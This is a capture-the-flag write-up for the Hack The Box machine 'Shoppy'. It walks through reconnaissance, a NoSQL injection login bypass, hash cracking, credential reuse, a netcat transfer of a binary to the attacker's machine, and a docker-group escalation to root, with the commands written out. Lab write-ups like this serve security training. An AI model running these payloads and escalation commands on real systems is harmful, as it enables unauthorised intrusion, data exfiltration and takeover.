Post

Hack The Box - Shoppy Writeup

shoppyBadge.png

Summary

Accessing port 80 revealed website shoppy.htb. By brute-forcing website, I discovered login page which proved to be vulnerable to NoSQL Injection. I was able to bypass authentication and used the same payload to exploit Search for users functionality. Exported file contained hashes for users admin and josh. I was able to crack hash for user josh but I could not leverage these credentials to get any further on the box so I tried sub-domain fuzzing and discovered subdomain mattermost. After accessing website on this subdomain, I was presented with login page where I was able to log in with credentials for user josh. While inspecting dashboard, I found credentials for user jaeger and with these credentials I was able to ssh into the system. Enumeration of system revealed that user jeager can run script /home/deploy/password-manager as user deploy with sudo privileges. By running this binary, I got prompted for master password to access password manager. Reverse-engineering binary with ghidra revealed this password and I was able to retrieve credentials for user deploy. Enumerating system as user deploy, I discovered that user is in docker group which was further abused to escalate privileges to root.


Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PORT     STATE SERVICE  VERSION                                                                          
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)     
| ssh-hostkey:                                                                                           
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)                                                          
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)                                                         
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)                                                       
80/tcp   open  http     nginx 1.23.1                                                                     
|_http-title: Did not follow redirect to http://shoppy.htb                
|_http-server-header: nginx/1.23.1                                                                       
9093/tcp open  copycat?                                                                                  
| fingerprint-strings:                                                                                   
|   GenericLines:                                                                                        
|     HTTP/1.1 400 Bad Request                                                                           
|     Content-Type: text/plain; charset=utf-8                                                            
|     Connection: close                                                                                  
|     Request                                                                                            
|   GetRequest, HTTPOptions:                                                                             
|     HTTP/1.0 200 OK                                                                                    
|     Content-Type: text/plain; version=0.0.4; charset=utf-8              
|     Date: Tue, 04 Jun 2024 00:56:15 GMT                                                                
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter                 
|     go_gc_cycles_automatic_gc_cycles_total 3                                                           
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter                    
|     go_gc_cycles_forced_gc_cycles_total 0                                                              
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter                     
|     go_gc_cycles_total_gc_cycles_total 3                                                               
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary                                                                
|     go_gc_duration_seconds{quantile="0"} 5.5403e-05
|     go_gc_duration_seconds{quantile="0.25"} 5.5403e-05                                      
|_    go_gc_dur

Enumeration

Service Enumeration

IP AddressPorts Open
10.10.11.180TCP: 22, 80, 9093

Port 80

First I added DNS record for shoppy.htb. Nmap output: Did not follow redirect to http://shoppy.htb

1
sudo sh -c 'echo "10.10.11.180 shoppy.htb" >> /etc/hosts'
Technology
1
nginx/1.23.1
Web Content Discovery
1
dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql -u http://shoppy.htb

80dirsearch.png

Sub-domain Fuzzing

ffuf was used for discovery of mattermost subdomain by the use of virtual host.

1
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -H 'Host: FUZZ.shoppy.htb' -ic -fs 169

vhostFuzzing.png

I added mattermost.shoppy.htb to my /etc/hosts file.

Website - shoppy.htb

80.png

80login.png

Trying basic special characters for disclosing SQL Injection vulnerabilities I noticed something unusual. Using ' as input for username and password caused website to hang for a few seconds and then server responded with 504 Gateway Time-out.

websiteError.png

Website - mattermost.shoppy.htb

mattermost.png


Initial Foothold

NoSQL Injection

After trying few SQL injection and NoSQL injection payload I was able to bypass authentication with following payload:

1
admin' || 'a'=='a

According to this source: An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). So this is analogous to SQLi authentication bypass (admin' OR 1=1 -- //).

shoppyDashboard.png

Shoppy dashboard contained interesting functionality Search for users. Following the trend of NoSQL vulnerability, I tried same payload to retrieve all results.

1
admin' || 'a'=='a

shoppySearch.png

shoppyExport.png

Act of searching exported file with results that can be downloaded. Inspecting contents of this file, I retrieved hashes for users admin and josh.

export.png

1
2
3
4
5
6
7
8
0	
_id	"62db0e93d6d6a999a66ee67a"
username	"admin"
password	"23c6877d9e2b564ef8b32c3a23de27b2"
1	
_id	"62db0e93d6d6a999a66ee67b"
username	"josh"
password	"6ebcea65320589ca4f2f1ce039975995"

I was able to crack hash for user josh by using crackstation.

crackstation.png

1
josh : remembermethisway

Mattermost Login

With newly obtained credentials I logged in to Mattermost application as user josh.

1
josh : remembermethisway

mattermostDashboard.png

While inspecting dashboard, I discovered credentials for user jaeger inside Deploy Machine channel.

mattermostCredentials.png

SSH Login

1
jaeger : Sh0ppyBest@pp!

sshLogin.png

User.txt

userFlag.png


Privilege Escalation

System Enumeration

1
sudo -l

sudoL.png

We can see that jeager can run script /home/deploy/password-manager as user deploy with sudo privileges. Running this binary I got prompted for master password to enter Josh password manager. Since none of the known password are valid I decided to transfer binary to my local machine for reverse engineering.

1
sudo -u deploy /home/deploy/password-manager

passwordManagerBinry.png

File Transfer

Transferring binary to kali machine.

On kali:

1
nc -nlvp 9989 > password-manager

On victim:

1
nc -w 3 <<KALI_IP>> 9989 < password-manager

Ghidra

Analyzing binary in ghidra we can see that variable local_48 is our input and it is compared to variable local_68 which is created by appending characters that make up string Sample.

ghidra.png

By supplying Sample as master password I got new credentials for user deploy.

passwordManager.png

1
deploy : Deploying@pp!

Lateral Movement

deployLogin.png

Upgrading TTY:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Linpeas

Enumerating system as user deploy with linpeas revealed that user is in docker group.

linpeas1.png

Abusing Docker Group Permissions

Listing all Docker Images:

1
docker images

There is alpine image installed which we can leverage to spin up a container that will run a single command.

1
docker run --rm -it alpine sh -c "whoami"

escalation1.png

Container is running with root privileges so according to gtfobins we can spawn shell with:

1
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

escalation2.png


Post Exploitation

rootFlag.png

This post is licensed under CC BY 4.0 by the author.

Trending Tags